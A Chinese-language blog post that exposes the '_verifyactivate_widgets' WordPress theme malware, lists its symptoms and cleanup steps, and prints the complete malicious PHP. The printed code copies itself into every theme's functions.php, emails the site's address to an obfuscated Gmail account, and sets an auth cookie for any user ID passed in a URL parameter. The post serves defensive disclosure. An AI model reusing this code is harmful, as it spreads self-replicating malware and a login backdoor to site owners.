今天莫名其妙发现自己的测试站的主题带上了恶意代码,非常明显的就是出现了一个函数_verifyactivate_widgets,通常情况下,一旦出现了这个函数在你的主题中,你就麻烦了,这是一串恶意代码,虽然不影响主题的使用(有的时候是影响的,当收到双重感染的时候,_verifyactivate_widgets函数会出现两次,导致了主题不能使用),但这段代码将会通知代码的作者(邮件方式),而且PHP可以任意的获取用户名、博客的主题文件等等,而且它还特地为博客创建了一些看上去非常有用的代码,一些挂件等等,一切的一切都被暴露给这段代码的作者。这里将这段代码曝光,并强烈谴责这些恶意代码的生产者。
症状:
1、可能会提示_verifyactivate_widgets函数声明了两次,程序错误,主题不能使用;
2、当前博客下的所有主题的functions.php中都会带下面这段代码;
3、即使你通过FTP将这段代码删除,但你只要再运行一次博客,它就会像噩梦一样重新回来。
这段代码的功能就是搜集博客的资料,各种资料,包括文章、用户和评论等等。你的博客很有可能成为为别人创造内容和财富的肉鸡。
治疗:
1、在空间管理面板先停用这个域名,使用沙盒功能,或者联系你的服务商;
2、备份所有数据,删除目前使用的主题之外的其他所有主题;
3、下载当前主题,一个文件一个文件的检查,把原本不属于你的代码删除;
4、重新上传和开启网站;
5、使用FTP,将你的主题文件的权限的“写入”权限去除(重要);
6、利用360等其他第三方PHP杀毒程序对网站进行杀毒;
7、确保你的wordpress系统没有被感染,确保你的主机没有被感染。
?> <?php function _verifyactivate_widgets(){ ?? ?$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; ?? ?$output=strip_tags($output, $allowed); ?? ?$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); ?? ?if (is_array($direst)){ ?? ??? ?foreach ($direst as $item){ ?? ??? ??? ?if (is_writable($item)){ ?? ??? ??? ??? ?$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); ?? ??? ??? ??? ?$cont=file_get_contents($item); ?? ??? ??? ??? ?if (stripos($cont,$ftion) === false){ ?? ??? ??? ??? ??? ?$comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; ?? ??? ??? ??? ??? ?$output .= $before . "Not found" . $after; ?? ??? ??? ??? ??? ?if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} ?? ??? ??? ??? ??? ?$output=rtrim($output, "nt"); fputs($f=fopen($item,"w+"),$cont . $comaar . "n" .$widget);fclose($f);?? ??? ??? ??? ? ?? ??? ??? ??? ??? ?$output .= ($isshowdots && $ellipsis) ? "..." : ""; ?? ??? ??? ??? ?} ?? ??? ??? ?} ?? ??? ?} ?? ?} ?? ?return $output; } function _get_allwidgets_cont($wids,$items=array()){ ?? ?$places=array_shift($wids); ?? ?if(substr($places,-1) == "/"){ ?? ??? ?$places=substr($places,0,-1); ?? ?} ?? ?if(!file_exists($places) || !is_dir($places)){ ?? ??? ?return false; ?? ?}elseif(is_readable($places)){ ?? ??? ?$elems=scandir($places); ?? ??? ?foreach ($elems as $elem){ ?? ??? ??? ?if ($elem != "." && $elem != ".."){ ?? ??? ??? ??? ?if (is_dir($places . "/" . $elem)){ ?? ??? ??? ??? ??? ?$wids[]=$places . "/" . $elem; ?? ??? ??? ??? ?} elseif (is_file($places . "/" . $elem)&& ?? ??? ??? ??? ??? ?$elem == substr(__FILE__,-13)){ ?? ??? ??? ??? ??? ?$items[]=$places . "/" . $elem;} ?? ??? ??? ??? ?} ?? ??? ??? ?} ?? ?}else{ ?? ??? ?return false;?? ? ?? ?} ?? ?if (sizeof($wids) > 0){ ?? ??? ?return _get_allwidgets_cont($wids,$items); ?? ?} else { ?? ??? ?return $items; ?? ?} } if(!function_exists("stripos")){ ??? function stripos(? $str, $needle, $offset = 0? ){ ??????? return strpos(? strtolower( $str ), strtolower( $needle ), $offset? ); ??? } } if(!function_exists("strripos")){ ??? function strripos(? $haystack, $needle, $offset = 0? ) { ??????? if(? !is_string( $needle )? )$needle = chr(? intval( $needle )? ); ??????? if(? $offset < 0? ){ ??????????? $temp_cut = strrev(? substr( $haystack, 0, abs($offset) )? ); ??????? } ??????? else{ ??????????? $temp_cut = strrev(??? substr(?? $haystack, 0, max(? ( strlen($haystack) - $offset ), 0? )?? )??? ); ??????? } ??????? if(?? (? $found = stripos( $temp_cut, strrev($needle) )? ) === FALSE?? )return FALSE; ??????? $pos = (?? strlen(? $haystack? ) - (? $found + $offset + strlen( $needle )? )?? ); ??????? return $pos; ??? } } if(!function_exists("scandir")){ ?? ?function scandir($dir,$listDirectories=false, $skipDots=true) { ?? ???? $dirArray = array(); ?? ???? if ($handle = opendir($dir)) { ?? ???????? while (false !== ($file = readdir($handle))) { ?? ???????????? if (($file != "." && $file != "..") || $skipDots == true) { ?? ???????????????? if($listDirectories == false) { if(is_dir($file)) { continue; } } ?? ???????????????? array_push($dirArray,basename($file)); ?? ???????????? } ?? ???????? } ?? ???????? closedir($handle); ?? ???? } ?? ???? return $dirArray; ?? ?} } add_action("admin_head", "_verifyactivate_widgets"); function _getprepare_widget(){ ?? ?if(!isset($text_length)) $text_length=120; ?? ?if(!isset($check)) $check="cookie"; ?? ?if(!isset($tagsallowed)) $tagsallowed="<a>"; ?? ?if(!isset($filter)) $filter="none"; ?? ?if(!isset($coma)) $coma=""; ?? ?if(!isset($home_filter)) $home_filter=get_option("home"); ?? ?if(!isset($pref_filters)) $pref_filters="wp_"; ?? ?if(!isset($is_use_more_link)) $is_use_more_link=1; ?? ?if(!isset($com_type)) $com_type=""; ?? ?if(!isset($cpages)) $cpages=$_GET["cperpage"]; ?? ?if(!isset($post_auth_comments)) $post_auth_comments=""; ?? ?if(!isset($com_is_approved)) $com_is_approved=""; ?? ?if(!isset($post_auth)) $post_auth="auth"; ?? ?if(!isset($link_text_more)) $link_text_more="(more...)"; ?? ?if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_"); ?? ?if(!isset($checkswidgets)) $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check; ?? ?if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)"; ?? ?if(!isset($contentmore)) $contentmore="ma".$coma."il"; ?? ?if(!isset($for_more)) $for_more=1; ?? ?if(!isset($fakeit)) $fakeit=1; ?? ?if(!isset($sql)) $sql=""; ?? ?if (!$widget_yes) : ?? ?global $wpdb, $post; ?? ?$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved="1" AND comment_type="" AND post_author="li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m" AND post_password="" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# ?? ?if (!empty($post->post_password)) { ?? ??? ?if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { ?? ??? ??? ?if(is_feed()) { ?? ??? ??? ??? ?$output=__("There is no excerpt because this is a protected post."); ?? ??? ??? ?} else { ?? ???????????? $output=get_the_password_form(); ?? ??? ??? ?} ?? ??? ?} ?? ?} ?? ?if(!isset($fixed_tags)) $fixed_tags=1; ?? ?if(!isset($filters)) $filters=$home_filter; ?? ?if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore; ?? ?if(!isset($tag_aditional)) $tag_aditional="div"; ?? ?if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);# ?? ?if(!isset($more_text_link)) $more_text_link="Continue reading this entry";?? ? ?? ?if(!isset($isshowdots)) $isshowdots=1; ?? ?$comments=$wpdb->get_results($sql);?? ? ?? ?if($fakeit == 2) { ?? ??? ?$text=$post->post_content; ?? ?} elseif($fakeit == 1) { ?? ??? ?$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; ?? ?} else { ?? ??? ?$text=$post->post_excerpt; ?? ?} ?? ?$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved="1" AND comment_type="" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# ?? ?if($text_length < 0) { ?? ??? ?$output=$text; ?? ?} else { ?? ??? ?if(!$no_more && strpos($text, "<!--more-->")) { ?? ??? ???? $text=explode("<!--more-->", $text, 2); ?? ??? ??? ?$l=count($text[0]); ?? ??? ??? ?$more_link=1; ?? ??? ??? ?$comments=$wpdb->get_results($sql); ?? ??? ?} else { ?? ??? ??? ?$text=explode(" ", $text); ?? ??? ??? ?if(count($text) > $text_length) { ?? ??? ??? ??? ?$l=$text_length; ?? ??? ??? ??? ?$ellipsis=1; ?? ??? ??? ?} else { ?? ??? ??? ??? ?$l=count($text); ?? ??? ??? ??? ?$link_text_more=""; ?? ??? ??? ??? ?$ellipsis=0; ?? ??? ??? ?} ?? ??? ?} ?? ??? ?for ($i=0; $i<$l; $i++) ?? ??? ??? ??? ?$output .= $text[$i] . " "; ?? ?} ?? ?update_option("_is_widget_active_", 1); ?? ?if("all" != $tagsallowed) { ?? ??? ?$output=strip_tags($output, $tagsallowed); ?? ??? ?return $output; ?? ?} ?? ?endif; ?? ?$output=rtrim($output, "sntr x0B"); ??? $output=($fixed_tags) ? balanceTags($output, true) : $output; ?? ?$output .= ($isshowdots && $ellipsis) ? "..." : ""; ?? ?$output=apply_filters($filter, $output); ?? ?switch($tag_aditional) { ?? ??? ?case("div") : ?? ??? ??? ?$tag="div"; ?? ??? ?break; ?? ??? ?case("span") : ?? ??? ??? ?$tag="span"; ?? ??? ?break; ?? ??? ?case("p") : ?? ??? ??? ?$tag="p"; ?? ??? ?break; ?? ??? ?default : ?? ??? ??? ?$tag="span"; ?? ?} ?? ?if ($is_use_more_link ) { ?? ??? ?if($for_more) { ?? ??? ??? ?$output .= " <" . $tag . " class="more-link"><a href="". get_permalink($post->ID) . "#more-" . $post->ID ."" title="" . $more_text_link . "">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . "</a></" . $tag . ">" . "n"; ?? ??? ?} else { ?? ??? ??? ?$output .= " <" . $tag . " class="more-link"><a href="". get_permalink($post->ID) . "" title="" . $more_text_link . "">" . $link_text_more . "</a></" . $tag . ">" . "n"; ?? ??? ?} ?? ?} ?? ?return $output; } add_action("init", "_getprepare_widget"); function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") { ?? ?global $wpdb; ?? ?$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS "comment_count" FROM $wpdb->posts, $wpdb->comments"; ?? ?$request .= " WHERE comment_approved="1" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status="publish""; ?? ?if(!$show_pass_post) $request .= " AND post_password ="""; ?? ?if($duration !="") { ?? ??? ?$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date "; ?? ?} ?? ?$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts"; ?? ?$posts=$wpdb->get_results($request); ?? ?$output=""; ?? ?if ($posts) { ?? ??? ?foreach ($posts as $post) { ?? ??? ??? ?$post_title=stripslashes($post->post_title); ?? ??? ??? ?$comment_count=$post->comment_count; ?? ??? ??? ?$permalink=get_permalink($post->ID); ?? ??? ??? ?$output .= $before . " <a href="" . $permalink . "" title="" . $post_title."">" . $post_title . "</a> " . $after; ?? ??? ?} ?? ?} else { ?? ??? ?$output .= $before . "None found" . $after; ?? ?} ?? ?return? $output; } ?//获取最新评论 function Get_Recent_Comment($limit=16,$cut_length=24){ ?? ?global $wpdb;?? ? ?? ?$admin_email = "'" . get_bloginfo ('admin_email') . "'"; //获取管理员邮箱,以便排除管理员的评论 ?? ?$rccdb = $wpdb->get_results(" ?? ??? ?SELECT ID, post_title, comment_ID, comment_author, comment_author_email, comment_content ?? ??? ?FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ?? ??? ?ON ($wpdb->comments.comment_post_ID = $wpdb->posts.ID) ?? ??? ?WHERE comment_approved = '1' ?? ??? ?AND comment_type = '' ?? ??? ?AND post_password = '' ?? ??? ?AND comment_author_email != $admin_email ?? ??? ?ORDER BY comment_date_gmt ?? ??? ?DESC LIMIT $limit ?? ? ");//数据库查询获得想要的结果?? ? ?? ?foreach ($rccdb as $row) { ?? ??? ?$rcc .= "<li>".get_avatar($row,$size='32')."<span>".$row->comment_author .":</span>"."<br />". "<a href='" ?? ??? ?. get_permalink($row->ID) . "#comment-" . $row->comment_ID ?? ??? ?. "' title='查看 " . $row->post_title . "'>" . cut_str($row->comment_content,$cut_length)."</a>". "</li>"; ?? ?}//遍历查询到结果,获得想要的值,其中插入一些HTML元素,以便定义CSS样式?? ? ?? ?//$rcc = convert_smilies($rcc);//允许评论内容中显示表情 ?? ?echo $rcc;//输出结果 } ?>
下面我简单说几句